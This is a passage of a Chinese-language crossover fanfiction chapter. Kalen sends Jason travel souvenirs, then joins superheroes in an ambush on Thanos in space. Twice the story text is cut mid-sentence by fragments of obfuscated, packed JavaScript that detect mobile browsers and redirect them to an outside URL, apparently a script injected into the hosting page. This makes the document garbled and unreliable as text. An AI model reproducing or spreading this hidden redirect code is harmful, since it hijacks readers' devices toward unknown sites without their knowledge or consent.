卡伦把这幅画叠了叠塞进兜里。 “不用。”他说,“留着吧。” 流浪汉看着他的背影消失在街角,又低头看了看手里剩下的两个球,挠了挠头。 --- 5 杰森这两个月过得挺奇怪。 第一个礼物是八月初收到的。 那天他刚处理完一单□□的事,浑身是血地回到家。推开门,发现窗台上多了一个小瓶子。 透明的,巴掌大,里面装着一团沙子和几颗小石子,底部有一层薄薄的水。 他拿起来看了看。 然后发现那团沙子会动。 它们在瓶子里慢慢地流动,像海浪一样,一波一波地拍打着瓶壁。那几颗小石子随着浪滚动,发出细微的沙沙声。 杰森盯着那个瓶子看了三秒,然后把它放在窗台上。 阳光从外面照进来,穿过玻璃,照在那些沙子上。沙子里的闪光点反射出金色的光,像撒了一地的星星。 他想起卡伦走之前那张纸条。 “出去转转。” 啊,好像有小猫咪打猎回来了。 --- 6 第二个礼物是八月中旬收到的。 那天他正在诊所里躺着,胸口那个吊坠突然热了一下。他低头看了看,没发现什么异常,然后抬头看见工作台上多了个东西。 一个水晶球。 夕阳,海面,几只海鸥在天上飞。那个画面是动的,海鸥在飞,云在飘,海浪在轻轻地拍打着看不见的沙滩。 杰森把水晶球拿起来,对着阳光看了看。 那个画面太安静了,像是有人把某个地方的影像一瞬间切下来,装进这个球里,寄给他。 杰森把那个水晶球翻了翻,成功在底座的一个缝隙里找到一张纸条。 "The world through my eyes, now yours." (“我眼中的世界,现在也是你的了” ) 他把水晶球放在窗台上,和那个小瓶子并排。 那天晚上他失眠了。 --- 7 第三个礼物是九月初收到的。 这次是一个小盒子。木头的,巴掌大,打开一看,里面躺着一枚贝壳。 淡粉色的,形状像一只小耳朵,被海水冲刷得光滑得像绸缎。 杰森把它拿起来,对着光看了看。贝壳很薄,阳光能穿透过去,在指尖投下淡淡的粉色影子。 他突然想起自己小时候。 在犯罪巷的那些年,他没去过海边。别说海边,连城郊都没去过。他的世界就是那些巷子,那些垃圾箱,那些永远洗不掉的灰。 后来死了一回,成功从棺材里仰卧起坐之后,休养了一段时间就气势汹汹的回来找蝙蝠侠,也没去过海边。 他一直觉得海边和自己没关系,这个词语似乎总是联系着一些阳光,幸福,悠闲之类的含义,听起来就和他不搭。 但现在他手里拿着一枚贝壳。 从某个他叫不上名字的沙滩上捡来的。 有人在海边走着,看见这枚贝壳,弯腰捡起来,擦了擦上面的沙子,然后装在盒子里,寄给他。 不是因为这个贝壳有多么珍贵,只是那个瞬间想起了某个珍贵的人。 杰森把那枚贝壳放在窗台上,和小瓶子、水晶球并排。 三个东西。 三个地方。 三个他从没没去过的地方。 他站在窗台前,看着那三个东西,突然有一种奇怪的感觉。 说不清是什么。 但他站了很久。 --- 8 第三个礼物之后,东西开始多了起来。 一个装着雪的小瓶子。来自某个山顶,瓶子上贴着一张纸条,上面写着“科罗拉多,八月热死了”。 一块彩色的石头。来自某个峡谷,纸条上写着“大峡谷,有只松鼠想偷这块石头,被我赶跑了”。 一片压干的枫叶。来自某个森林,纸条上写着“缅因,这地方挺安静,就是晚上太黑”。 一张皱巴巴的画纸,上面画着一只歪歪扭扭的海鸥。纸条上写着“佛罗里达,有个流落街头的画家。我请他吃了三个冰淇淋,他给我画了这个”。 杰森看着那只海鸥,沉默了三秒。 然后他笑了。 那只海鸥画得太丑了,丑得让人心疼。 他把那张画纸也放在窗台上,用那枚贝壳压着。 窗台越来越满了。 每次他回家,总会发现新的东西。有时候放在窗台上,有时候放在工作台上,有时候直接塞在他的枕头下面。他不知道卡伦是怎么放进来的,但每次那个吊坠热一下,就会出现新的东西。 真是的,不是说材料很珍贵的吗? —- 9 某天,达米安来到杰森的安全屋传话。 然后他发现他落脚的窗台被各种各样的东西塞满了。 他转头看杰森,表情很复杂。 “这是什么?” 杰森躺在椅子上,眼睛都没睁:“礼物。” 达米安沉默了两秒。 “格里索温送的?” 杰森:“嗯。” 达米安又看了看那个窗台——小瓶子,水晶球,贝壳,彩色石头,枫叶,画纸。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444116|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他想了想,说:“你收集这些?” 杰森睁开眼,看了他一眼。 “我不收集。他乱放。” 达米安有点牙酸。 --- 10 卡伦是九月中旬回来的。 他推门进来的时候,杰森正躺在椅子上,脚搭着小茶几,手里拿着那枚淡粉色的贝壳。 两个人对视了三秒。 杰森先开口:“回来了?” 卡伦点头。 他把背包往地上一放,走过来,在他旁边坐下。 沉默了一会儿。 杰森说:“窗台快满了。” 卡伦看了一眼那个窗台,那里确实已经堆满了他这趟旅行寄回来的各种纪念品。 他点点头。 “还行。” “那边怎么样了?” 卡伦知道他说的是那道裂缝。 “差不多了。”他说,“那些杂碎该抓的抓,该送的送,该扔回那边去的扔回去了。剩下的那几个也是早晚的事。” 杰森等着他往下说。 卡伦继续说:“那道裂缝还在。但没什么东西过来了。就像——消毒过的伤口,慢慢愈合吧,没什么好办法。” 杰森点点头。 “你去海边了。”一个陈述语气的问句。 卡伦看了他一眼。 “去了。” 杰森把那枚贝壳举起来晃了晃:“这哪儿捡的?” 卡伦想了想:“迈阿密。” 杰森愣了一下:“佛罗里达那个迈阿密?” 卡伦点头。 杰森的表情有点微妙。 “那个地方怎么样?” 卡伦想了想,用他能想到的最简单的说法描述:“海水是绿的,蚊子多得能把人抬起来,有个老头说那是世界末日。” 杰森沉默了。 卡伦继续说:“但夕阳挺好看。” 杰森看着手里那枚贝壳,夕阳的光从那上面反射过来,粉色的,软软的。 他没说话。 卡伦也没说话。 两个人在那儿坐着,阳光从窗户照进来,照在窗台上那一排东西上。 --- 11 那天晚上,卡伦正在厨房里做饭,杰森收到蝙蝠侠的消息。 他拿起来看了一眼。 “卡伦。” 卡伦回头看他。 杰森把手机递过去。 卡伦看了一眼,动作顿了一下。 然后他放下锅铲,接过手机,又看了一遍。 山达尔星。 新星军团的总部。 力量宝石。 他想起那些在论坛上看过的帖子上关于灭霸的讨论。力量宝石是第一颗。 卡伦把手机还给杰森,靠在厨房门框上,脑子里开始飞快地转。 杰森看着他,等他说点什么。 一个星期前,山达尔星被炸,力量宝石被抢,灭霸拿到了第一颗无限宝石。 按照时间线,他现在应该在去截阿斯加德飞船的路上。 空间宝石在洛基手里。 卡伦走到窗边,看着外面的夜色。 哥谭的夜晚总是这样,黑沉沉的,偶尔有几盏灯亮着,像几颗快灭的星星。 他站在那儿,脑子里转着各种乱七八糟的念头。 力量宝石一颗。 空间宝石在路上。 现实宝石在虚无知地。 灵魂宝石在沃弥尔。 时间宝石在奇异博士手里。 心灵宝石在幻视额头上。 “阿斯加德的飞船正在往地球飞,灭霸会去截他们。” 杰森点头。 卡伦转头看他,扯出了一个狡黠的笑。 “所以我们要去截他。” “截他?在半路上?” 卡伦点头。 “我们怎么过去?” “正义联盟,复仇者联盟,总会有办法的,还用不到我们发愁。” 杰森想了想,说:“绿灯侠,火星猎人,索尔那边应该也有人。” 卡伦点头。 两个人站在那儿,夜风吹过来,带着哥谭特有的那种潮湿的味道。 杰森突然说:“如果真能截住他,那故事就短了。” 卡伦想了想,说:“好事。” 杰森点头。 “好事。” --- 12 吃完饭,两个人坐在诊所里,没开灯。月光从窗户照进来,把屋里照得半明半暗。 杰森躺在椅子上,脚搭着小茶几。卡伦坐在他旁边,手里拿着那个从迈阿密带回来的贝壳。 沉默了一会儿。 杰森开口:“你说,如果我们真的在半路截住他了,能打过吗?” 卡伦想了想,认真地想了想。 “如果只有力量宝石,能。” 杰森看着他。 卡伦继续说:“力量宝石很强,但超人更强。只要不让他拿到灵魂宝石和心灵宝石,麻烦都不算大。” 杰森点头。 卡伦说:“问题是时间。” 杰森等他往下说。 卡伦说:“他现在刚拿到力量宝石。下一个目标是空间宝石。空间宝石在洛基手里,洛基在阿斯加德的飞船上。如果我们在那之前截住他——他就只有一颗宝石。” 杰森想了想,说:“那我们就得抢在他碰到洛基之前动手。” 卡伦点头。 杰森说:“我们不知道他现在到哪儿了。” 卡伦说:“对。” 杰森说:“我们也不知道阿斯加德的飞船到哪儿了。” 卡伦说:“对。” 杰森说:“但我们还是要去截。” “对。”卡伦看着他,露出一个笃定的表情“我猜万能的蝙蝠侠会知道。” 哥谭的夜色很深。 远处有几盏灯亮着,不知道是谁家的窗户。 而更远处,在人类看不见的地方,灭霸正在宇宙中穿行,朝着那颗装着空间宝石的飞船飞去。 窗台上那些东西静静地待着,是从很远的地方寄来的问候。 他们没再继续这个略显沉重的话题,那终归不是他们现在光是聊天能解决的。伴着今晚还算不错的夜色,聊起了卡伦在旅途中有趣的见闻。 窗外的月光静静地照着。 屋里,两个人的笑声在夜色里飘着,很轻,很远,像海浪拍在沙滩上。 20. 第二十章 1 卡伦走之前,把窗台上那排东西又看了一遍。 小瓶子、水晶球、贝壳、彩色石头、压干的枫叶、歪歪扭扭的海鸥画。两个月的垃圾全堆在这儿了,看起来像个迷你版的景区纪念品商店。 杰森不知道哪根筋搭错了,居然把它们按颜色排了顺序,从深蓝到浅粉,渐变。 卡伦盯着那排渐变看了一会儿,回头。 杰森没在看他。那人靠在诊所门框上,手里转着一枚硬币,眼睛盯着天花板,表情是那种“我一点都不在意你走不走”的刻意。 “我走了。” “嗯。” “大概几天。” “嗯。” “你的贝壳我带走了。” 杰森的硬币转了一半,停了。 “那是我的。” “借的。”卡伦从口袋里掏出那枚淡粉色的小东西,在指尖晃了晃。“回来还你。” 杰森看着他。那个距离有点微妙——卡伦不知道什么时候从窗台边蹭过来的,现在站在他面前,近得能看清他睫毛上沾的一点灰。 卡伦自从旅行回来也不知道学了什么不该学的东西,这两天说话总喜欢凑得很近,而最不应该的是他竟然也没有躲开。 太近了。 近到杰森能闻到他衣服上那股消毒水和旧书混合的味道,近到他只要稍微往前倾一下,鼻尖就能相碰。 但他没动。 卡伦也没动。 两个人就卡在那个距离上,像两颗互相绕转的星球,引力刚好够维持轨道,又刚好不会撞在一起。 “别死了。”杰森说。 和他们一样总在棺材里面仰卧起坐,可不是什么好事。 卡伦把贝壳收进口袋,贴着胸口的位置。“不会。” 杰森终于低头看他。那个角度,从卡伦的视角看过去,他的眼睛被额发的阴影遮住了一半,剩下那一半里有很暗的光,把五官的轮廓都模糊了,只剩下他那双蓝色的眼睛如此明晰。 卡伦忽然想伸手碰一下他的睫毛。 但他没动。他只是站在那里,把这个距离又维持了两秒,然后退开,转身推门。 “走了。” 门在他身后关上。 杰森站在原地,手里那枚硬币不知道什么时候掉在了地上,滚到墙角,撞上那一排渐变色的纪念品,发出很轻的一声响。 —— 2 纽约,复仇者基地。 卡伦到的时候,会议已经开始了。 他推门进去,看见一张巨大的全息桌,周围坐了一圈人。蝙蝠侠在角落里,和整个房间的光线融为一体。钢铁侠坐在主位上,手里端着一杯咖啡,面前的桌上摊着好几块全息屏幕。美队站在窗边,双臂抱在胸前。雷神靠在墙边,手里攥着风暴战斧,眼窝比上次见面时更深了。还有几个他不认识的面孔——一个穿红色披风的女人,一个戴银色头冠的男人,一个全身覆盖纳米装甲的年轻人。 奇异博士站在全息桌的另一端,胸前阿戈摩托之眼的绿光微微闪烁。 卡伦进来的时候,所有人的目光都转向他。 “迟到三分钟。”钢铁侠看了一眼手腕上并不存在的手表。“我以为魔法侧的人都会开传送门。” “堵车。”卡伦面不改色地在空位上坐下。 钢铁侠挑眉。“从哥谭到纽约,堵车?” “哥谭的堵车,你不懂。” 旁边有人轻笑了一声。卡伦转头,看见那个穿红色披风的女人——神奇女侠——嘴角微微翘起,冲他点了点头。 “他就是那个预言的人?”她问蝙蝠侠。 蝙蝠侠没说话,只是微微点了下头。 所有人的目光又回到卡伦身上。他坐在那儿,感觉像被一群探照灯照着。如果是以前,他大概会紧张。但现在他只是把口袋里的贝壳摸出来,放在桌上,然后抬头,表情很平静。 “灭霸。泰坦星人。正在收集无限宝石。目前已经拿到力量宝石,下一个目标是空间宝石——在洛基手里,阿斯加德难民船上。他会在六到八小时内拦截那艘船,拿到空间宝石,然后去虚无知地拿现实宝石,再去沃弥尔献祭他女儿拿灵魂宝石,最后来地球拿时间宝石和心灵宝石。打响指,宇宙一半人口消失。” 他停了一下。 “你们有什么想问的?” 房间里安静了三秒。 “你确定是六到八小时?”钢铁侠放下咖啡杯,表情终于认真起来。 “绿灯军团的坐标确认过。”蝙蝠侠开口,声音很低。“灭霸舰队目前处于亚光速巡航状态,按当前速度推算,六小时四十分钟后进入阿斯加德飞船的雷达范围。” “我们有预案。”钢铁侠说。他敲了一下桌面,全息屏幕上的数据开始滚动。“从知道这件事开始,我和蝙蝠侠就在算这个。” 卡伦看了一眼蝙蝠侠。那人坐在角落里,没有任何表情变化,但卡伦注意到他的手指在全息键盘上动了一下——那是他们在蝙蝠洞里讨论过的东西。 三个月。 从卡伦第一次告诉他这个预言,到现在,三个月。蝙蝠侠用这三个月做了三件事:验证情报、计算窗口、制定计划。钢铁侠用这三个月做了另一件事:造东西。 “这是‘响指预案’。”钢铁侠调出一组数据。“灭霸的舰队构成、火力配置、航行规律、可能的拦截点。绿灯军团的哈尔·乔丹提供了最近三个月的航行记录,我让星期五跑了十七万次模拟。” “十七万次?”卡伦挑眉。 “我是个有耐心的人。” 卡伦看了一眼那个数字,又看了一眼钢铁侠脸上那两个深得能夹死苍蝇的黑眼圈,决定不发表评论。 “最优拦截点在这里。”钢铁侠在全息星图上标出一个坐标。“距离阿斯加德飞船五小时航程,灭霸舰队会从这个角度切入。如果我们提前六小时到达,在他的航线上埋伏——” “他的舰队会扫描。”奇异博士开口。“灭霸不是傻子。瞭望塔的隐身系统能规避常规探测,但力量宝石的能量波动会干扰所有已知的隐身技术。” “瞭望塔不进扫描范围。”蝙蝠侠说。他的手指在键盘上敲了几下,星图上出现一条新的虚线。“量子传送坐标设在舰队航线前方五百公里。瞭望塔停留,突击组用小型穿梭机进入。” “穿梭机的隐身?” “韦恩集团和斯塔克工业联合研发。”钢铁侠的表情带着一点得意。“能量信号和宇宙背景辐射完全同步。除非灭霸的扫描仪精度能到夸克级别,否则他什么也看不见。” 奇异博士看了他一眼,又看了蝙蝠侠一眼。“你们什么时候搞的这个?” “三个月前。”蝙蝠侠说。 “第一次见面后的第二天。”钢铁侠说。 两个人同时开口,又同时闭嘴,互相看了一眼。 卡伦坐在那儿,看着这两个地球上最有钱、最聪明、最偏执的人,突然觉得灭霸可能确实有点悬。 “突击组呢?”超人开口。他一直安静地坐在角落里,像一座沉默的山。现在他站起来,红色的披风垂在身后,整个房间的光线似乎都朝他倾斜了一点。 “你。”钢铁侠竖起一根手指。“我。”第二根。“索尔。”第三根。“他。”第四根,指向卡伦。 “就四个?”神奇女侠挑眉。 “人多没用。”蝙蝠侠说。“灭霸有力量宝石,正面火力越强,他越可能提前使用宝石。我们需要的是——” “一个让他觉得‘就这’的场面。”钢铁侠接话。“超人正面出手,我和索尔清杂兵,然后——” 他看向卡伦。 “然后我从侧面。”卡伦说。“一击必杀。” 房间里安静了一会儿。 “他能破防吗?”雷神终于开口。他的声音很沉,像石头砸在沙地上。“灭霸。泰坦星的皮,比你们想象的厚。” 卡伦没说话。他从口袋里掏出一样东西,放在桌上。 很小。琥珀色的。里面封着一团银白色的光,像被凝固的闪电。 “矮人锻造的?”雷神凑近看了一眼,瞳孔微微收缩。 “差不多。”卡伦把它收回去。“魔法世界的东西。砍过比灭霸皮厚的东西。” 他没说的是,那次他差点死了。砍完那个东西之后,他在山洞里躺了三天,血把整个地面都染红了。但他现在不想说这个,因为超人正看着他,表情很认真,像在评估一个士兵的战斗力。 “你确定?”超人问。 “确定。” 超人看了他几秒,然后点了点头。“我相信你。” 卡伦愣了一下,说实话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444117|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种无端的信任,对于他来说真是陌生极了。 —— 3 出发前,卡伦站在瞭望塔的观景舱里,看着脚下的地球。 他想起自己曾有一次从魔法世界的裂缝里看到过一个疑似地球的地方,伤痕累累的世界时常会自己裂出一个大口子,那个破口外的星球,是否是他美丽的故乡? 那时候他还是个孩子,和许多同龄人一起被关在一个大笼子里,身上全是伤,站在灰蒙蒙的雾气中,抬头却看见那个蓝色的光点。 他以为那是幻觉。 “紧张?” 卡伦转头。奇异博士不知道什么时候站在他旁边,手里端着一杯茶,表情很平静。 “有一点。” “正常。”奇异博士喝了口茶。“我在泰坦星上和他打过一次。输了。” 卡伦看着他。 “但那次我只有时间宝石。”奇异博士放下茶杯。“现在不一样。现在我们还有三个月。” 卡伦沉默了一会儿。“你看了多少种可能?” 奇异博士没回答。他只是看着窗外那颗蓝色的小星星,表情很平静,像在看一个老朋友。 “一千四百万。”他说。“没有你的那一次,只有一种能赢。” 卡伦等着他往下说。 “但现在你在。”奇异博士转头看他,嘴角微微翘起。“所以可能多了一种。” 卡伦盯着他看了两秒。“你这是安慰人?” “陈述事实。”奇异博士把茶杯收了,转身要走,又停了一下。“对了。古一说你这个人,看着老实,其实最会找机会。” 卡伦愣了一下。“她什么时候说的?” “很久以前。”奇异博士走进传送门,橙色的火花在他身后熄灭。“去吧。别让她失望。” —— 4 突击组在穿梭机里待了四个小时。 钢铁侠在检查武器系统,手指在全息界面上飞快地滑动,嘴里念叨着什么“能量峰值”“相位偏移”之类卡伦听不懂的词。索尔闭着眼睛,手里攥着风暴战斧,斧刃上的电流偶尔噼啪响一声,像打瞌睡时不小心点了一下头。 超人坐在最前面,安静得像一尊雕塑。 “还有三十分钟。”蝙蝠侠的声音从通讯器里传来,很冷静到好似在报天气预报。“目标舰队将在三十分钟后进入拦截范围。突击组准备。” 钢铁侠站起来,纳米战甲从他胸口的反应堆蔓延出来,覆盖全身。“终于。” 索尔睁开眼,风暴战斧上的电流猛地炸开,噼啪作响。“我等这一天,等了很久了。” 超人站起来。他什么都没说,只是走到舱门前,站在那里,红色的披风垂在身后,安静得像一座山。 卡伦站起来。 他什么都没说。他只是把手伸进口袋,碰了碰那枚贝壳,然后把手指收回来,握成拳。 舱门打开。 真空的冷冽扑面而来,远处的红色恒星在燃烧,黑暗的虚空中什么也看不见。但卡伦知道,那个紫色皮肤的巨人正在那里,带着一颗能毁灭星球的宝石,朝着阿斯加德难民船飞去。 超人第一个走出去。没有回头,没有犹豫,一步跨进虚空,像一颗出膛的子弹。 钢铁侠跟上,脚底的推进器喷出蓝色的火焰。“索尔,走了!” 雷神握紧风暴战斧,电流从他手臂蔓延到全身。“等我砍了他的头,请你们喝酒。” 他也飞了出去。 卡伦站在舱门口,看着那片陌生的星空。他的心脏跳得很快,但不是因为害怕。他想起自己在魔法世界的最后一天,站在裂缝前面,看着对面那个蓝色的光点,心想,回去之后一定要过点安稳日子。 安稳日子。 他笑了一下,然后纵身跃出舱门。 没有推进器,没有披风,没有炫目的特效。他只是坠落——像一颗流星,像一把刀,像一只俯冲的游隼,从高处跃下,无声无息,精准地朝着猎物的方向。 在心脏深处,那团火在烧。 那是他从魔法世界带回来的,十几年摸爬滚打攒下来的,每一次死里逃生练出来的。 他不会飞。 但他会落。 而这一次,他要落在那个紫色巨人够不到的地方,然后—— 一击必杀。 21. 第二十一章 虚空比卡伦想象的更安静。 没有风声,没有呼吸声,连心跳都被压抑,闷在胸腔里,一下一下地撞。他悬浮在黑暗中,脚下是万丈深渊,头顶是陌生的星星,远处那颗红色恒星在燃烧,把周围的虚空染成暗红色,像凝固的血。 他不太喜欢这个颜色。 通讯器里蝙蝠侠的声音有些失真,像从很远的地方飘过来。“目标舰队两分钟后进入可视范围。突击组按计划分散。” 卡伦看见超人在他左前方三百米处,双臂抱在胸前,披风垂在身后,一动不动,像一尊被放置在虚空中的雕塑。 钢铁侠在他右翼,纳米战甲在星光下泛着暗红色的光,面罩合着,看不清表情。索尔在最远处,风暴战斧的电流在黑暗中噼啪作响,像一只蛰伏的野兽。 卡尔开始默算。 炼金术的诅咒阵法,需要在虚空中布设和精确到毫米的坐标,把能量波动压到最低。低到连力量宝石的扫描都发现不了。 他在魔法世界干过这种事,现在也一样。 只不过这次的猎物,比那些怪物加起来都大。 “一分钟。”蝙蝠侠的声音。 卡伦睁开眼。 远处的黑暗中,出现了一个光点。 很小,很暗,但它越来越大,越来越亮,边缘开始变得清晰,那是三艘战舰的引擎光芒。它们呈三角队形,在虚空中无声地滑行,如同三头从深海中浮上来的鲸。中间那艘最大,舰首像一只张开的爪子,爪尖凝聚着暗紫色的光——那是力量宝石的能量残余,灭霸拿到它之后留下的痕迹。 “三十秒。” 超人调整了姿态,像一头即将扑出的猛兽。 钢铁侠的掌心亮起蓝白色的光。 索尔的风暴战斧开始发出低沉的嗡鸣。 “十秒。” 卡伦深吸一口气。 “五秒。” 他把右手张开,五指微微弯曲,指尖开始凝聚银白色的光。那光很淡,淡到几乎看不见,但它很锋利,仿若一把被磨到极致的刀,安静地等待出鞘。 “三秒。” 三艘战舰驶入可视范围。它们的舰身是暗灰色的,布满装甲和炮台,那些被能量武器灼烧过的痕迹,被陨石撞击留下的坑洼,还有……舰首下方,一个巨大的、紫色的身影。 看来他们也被发现了。 灭霸站在旗舰的舰桥上,双手撑着栏杆,俯瞰着前方的虚空。他没有穿盔甲,只着一件深蓝色的短袖和金色的臂铠,右手上戴着那只巨大的无限手套——手套的指关节处,一颗紫色的宝石正在缓慢地脉动,像一颗活的心脏。 “发现目标。”蝙蝠侠的声音。“行动。” 超人的披风猛地展开。 他没有给任何人反应的时间。下一瞬,他已经出现在灭霸面前,像一道光,砸在灭霸的胸口上。 轰。 那声音在真空中听不见,但卡伦看见了冲击波。它以灭霸的胸口为中心,向四面八方扩散,把周围的空气——如果有空气的话——炸成白色的环。灭霸的身体向后仰去,脚下的金属甲板凹陷下去,裂开蛛网般的纹路。 但他没倒下。 啧,虽说早有预料,但他这么耐打真是一件令人不爽的事。 他稳住身形,低头看着面前这个穿着蓝色制服、披着红色披风的人,表情没有愤怒,没有惊讶,甚至没有疼痛。他只是看着超人,像在看一只扑向自己的飞蛾。 “氪星人。”灭霸的声音从通讯器里传来,很低,很沉,像从井底传上来的回声。“我听说过你。” 超人的回答是一拳。 这一拳砸在灭霸的下颌上,把他的头打得偏过去,紫色的血从嘴角渗出来,在零重力中凝成圆珠,漂浮在两人之间。 灭霸伸手抹掉嘴角的血,看着指尖那颗紫色的珠子,然后抬头看向超人。他的嘴角微微翘起,露出一个近似微笑的表情,尽管那个笑容里没有任何温度。 “有意思。” 他握紧右手的拳头。 力量宝石亮了。 紫色的光芒从宝石中涌出来,顺着无限手套的纹路蔓延,覆盖灭霸的整条右臂。他的肌肉开始膨胀,青筋暴起,像被灌注了岩浆的河道。然后他挥出一拳—— 超人没有躲。 那一拳砸在他的胸口上,发出一声闷响。超人的身体向后飞去,穿过虚空,撞上一艘小型护卫舰的舰身。金属甲板在他身后凹陷,变形,最终被整个撞穿。他从另一头飞出来,披风在身后猎猎作响,如一面被撕裂的旗帜。 但他停了。 他悬停在虚空中,揉了揉胸口,表情没有任何变化。 灭霸的眼睛微微眯起。 卡伦在暗处看着这一切,手指间的银白色光芒稳定得像一条直线。他还没动——不是时候。 灭霸的注意力还在超人身上,他的右手握成拳,力量宝石的光芒在他指缝间溢出,但他没有松开拳头。他在试探这群突然出现在他航线上的虫子到底是什么东西。 “斯塔克。”蝙蝠侠的声音在通讯器里响起。“索尔。清场。” “收到。”钢铁侠的掌心炮亮了。 他从侧翼切入,纳米战甲的推进器喷出蓝色的火焰,在虚空中划出一道弧线。他的目标是左翼那艘战舰——舰身上的炮台正在转向,炮口凝聚着橙色的能量,准备向超人的方向开火。 钢铁侠比它们快。 两发掌心炮命中炮台基座,橙色的能量在炮口内炸开,把整个炮台掀飞。碎片在零重力中飞散,像被炸开的蜂巢。更多的炮台开始转向,但钢铁侠已经切到第二艘战舰的侧翼,背上的武器舱打开,微型导弹像一群被惊扰的萤火虫,朝着炮台的缝隙钻进去。 爆炸。 三秒后,左翼战舰的整个侧面被炸开一个洞,火光从里面涌出来,在真空中无声地燃烧。 索尔在右翼。 他没有用远程攻击。他直接落在那艘战舰的甲板上,风暴战斧举过头顶,斧刃上的电流炸成一片蓝白色的网。然后他劈下去—— 战舰从中间被劈成两半,就像劈开一块腐朽的木头。电流沿着切口蔓延,把金属熔化,把电路烧毁,把整艘战舰变成一团漂浮在太空中的废铁。 灭霸终于把目光从超人身上移开了。 他看着自己的舰队:一艘被瘫痪,一艘被炸毁,一艘正在燃烧。他的表情没有任何变化,只是下巴微微收紧了一点。 “乌木喉。”他说。 通讯器里传来一个陌生的声音,低沉,滑腻,像蛇在爬行。“主人。” “处理掉那些虫子。” “如您所愿。” 卡伦看见了。 从旗舰的阴影里,长出一个人形。他的四肢像被拉长的橡胶,在虚空中缓慢地伸展,指尖凝聚着黑色的能量。 乌木喉。 灭霸的手下。 他的目标明确,冲着钢铁侠而去。那些黑色的能量从他指尖射出,朝着钢铁侠的四肢缠绕过去。钢铁侠侧身避开两道,第三道缠上了他的手腕。纳米战甲的表面开始变色,从暗红变成灰白。 “这是什么鬼——”钢铁侠的声音在通讯器里断了一下。 卡伦动了。 他从虚空中蹬了一脚,像猫从墙上借力,整个人弹射出去。银白色的光芒在他指尖凝聚,拉紧,极细的、几乎看不见的线,在黑暗中一闪而过,切断了缠在钢铁侠手腕上的黑色能量。 乌木喉的触手断开了。那些黑色的能量在断口处扭动了一下,然后消散,像被掐断的蛇。 乌木喉转头,看向卡伦的方向。 他没看见人。 卡伦已经不在那里了。他从乌木喉的视野盲区切过去——右侧下方,那里是乌木喉的黑色能量最薄弱的地方,是他在延伸触手时暴露出来的空档。卡伦在那空档里停留了不到半秒,足够他把一道银白色的线留在乌木喉的腰间。 然后他弹开。 乌木喉低头看了看自己腰上那道细细的白光。他的表情第一次有了变化。他不明白这个东西是什么,也不明白它是怎么出现在那里的。 白光炸开。 那道线在他腰间收紧,像一根被拉满的弦,在他反应过来之前就已经切了进去。乌木喉的身体从中间断开,上半身和下半身在零重力中缓慢地分离,黑色的血从切口涌出来,凝成圆珠,漂浮在虚空中。 他的脸上还带着困惑的表情。 “魔法。”灭霸说。他的声音很平静,像是在陈述一个事实。 卡伦没有回答。他已经退回了暗处,指尖的银白色光芒重新变得稳定,仿佛什么都没有发生过。 卡伦蹲在虚空中,把呼吸压到最低。 他的左手从口袋里摸出一样东西——一枚纽扣大小的金属片,银白色,表面刻满了细密的炼金术纹路。他把它按在自己的左眼上,闭目。 纹路亮了一下。很轻,很淡,像一根蜡烛在风中闪了一瞬。 现在,他的左眼看不见了。 他花了三个月布设的诅咒阵法,此刻完整地呈现在他的左眼里——不是用“看”的,是用“感知”。那些银白色的线在虚空中延伸、交织、汇聚,织成一张巨大的蛛网,而灭霸就在蛛网的中心。 蜘蛛侠不会告他侵权吧。 他早就知道,光是“力量体系不同”不够。 奇异博士的传送门切不开灭霸的皮肤。不是因为魔法不够强,是因为灭霸的防御是物理层面的绝对。浩克的拳头,钢铁侠的纳米科技,雷神的风暴战斧,全都只是“擦破皮”。 传送门切割的原理是空间折叠,杀伤力上限取决于被切割对象的物质强度。而灭霸的物质强度,是泰坦星永恒族几十万年进化的顶点,加上宝石的加持——已经超过了传送门能处理的阈值。 所以奇异博士失败了。 在他看到的那一千四百万种未来里,他试过。每一次都失败了。 卡伦不想重蹈他的覆辙。 他的炼金术和奇异博士的维山帝魔法不一样。但光是“不一样”不够。他需要更多。他需要把那些银白色的线炼到足够深,深到能切开灭霸的皮肤,深到能切断泰坦星几十万年的进化,深到能在力量宝石的防御上撕开一道口子。 他需要献祭。 炼金术的第一原则:等价交换。 卡伦把左手覆在左眼上。那些银白色的纹路从金属片上蔓延出来,爬上他的眼眶,钻进他的皮肤,像植物的根系,像血管,像某种活着的东西在寻找养料。 他的左眼开始剧烈地疼痛。 那种从骨头缝里渗出来的、像有人用砂纸在他的视神经上来回摩擦的疼。他的左眼球在银白色的光芒中缓慢地溶解,视神经被拆解成最原始的能量,沿着那些纹路流淌,注入虚空中那张银白色的网。 他的左眼在燃烧。 卡伦咬着牙,一声没吭。 他想起了叠羽大陆。想起自己第一次用炼金术献祭——那时候他献祭的是左手小指,换了一颗能解毒的药丸。他记得自己蹲在山洞里,看着那根小指在银白色的光芒中化成灰烬,心想:还行,比被毒死强。 后来他献祭过很多东西。头发、指甲、几颗牙、一小块肝脏、右耳的鼓膜——那一次他聋了三个月,后来用另一份材料重新炼了一个。他在叠羽大陆待了十几年,身上能换的东西几乎换了个遍,每一次都在想:还行,比死了强。 但眼睛不一样。 眼睛是“看见”的器官。失去一只眼睛,意味着失去一半的世界。意味着以后看东西没有景深,意味着站在窗台上往下看的时候分不清自己离地面有多远,意味着…… 算了,没关系,回头再炼一个吧,无非是又一块身体不是原装货。 炼个杰森同款怎么样? 他安慰了一下自己,把左手从眼睛上移开。 